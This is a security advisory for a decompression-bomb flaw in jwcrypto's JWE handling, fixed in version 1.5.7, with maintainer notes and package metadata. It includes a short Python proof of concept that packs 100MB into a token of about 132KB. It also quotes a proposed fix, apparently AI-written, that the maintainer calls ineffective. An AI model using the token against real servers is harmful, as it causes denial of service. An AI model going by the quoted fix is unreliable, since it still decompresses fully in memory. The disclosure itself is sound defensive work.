JWCrypto: JWE ZIP decompression bomb
Summary
The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.
Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.
NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.
NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7
Details
The vulnerable code in jwcrypto/jwe.py:
if len(data) > default_max_compressed_size:
raise InvalidJWEData('Compressed data exceeds maximum allowed size')
self.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)
The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.
PoC
Tested on jwcrypto 1.5.6 (patched version):
import zlib
from jwcrypto import jwe
from jwcrypto.jwk import JWK
import time
key = JWK.generate(kty='oct', size=128)
bomb_data = b"A" * 1024 * 1024 * 100 # 100MB uncompressed
token = jwe.JWE(
plaintext=bomb_data,
protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"}
)
token.add_recipient(key)
serialized = token.serialize(compact=True)
print(f"Token size: {len(serialized)/1024:.1f} KB") # 132.8 KB — under 250KB limit
tok2 = jwe.JWE()
tok2.deserialize(serialized, key)
print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB") # 100 MB
Output:
Token size: 132.8 KB
Decompressed: 100 MB
Impact
An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | jwcrypto | < 1.5.7 | 1.5.7 |
References
- https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4
- https://nvd.nist.gov/vuln/detail/CVE-2026-39373
- https://github.com/latchset/jwcrypto/commit/25db861d8b29434838669a94a843af03d29ea6ed
- https://github.com/latchset/jwcrypto
- https://github.com/latchset/jwcrypto/releases/tag/v1.5.7
- https://github.com/pypa/advisory-database/tree/main/vulns/jwcrypto/PYSEC-2026-70.yaml
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-409- Platform
- Python (PyPI)
- Package
jwcrypto- Disclosed
- 07.04.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-70 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-fjrm-76x2-c4q4 - CC BY 4.0
Vulnerability history: jwcrypto
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 09.2016 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 5
Disclosures per year
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 1
- 2023: 1
- 2024: 1
- 2025: 0
- 2026: 1
earlier: 1
-
JWCrypto: JWE ZIP decompression bomb this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.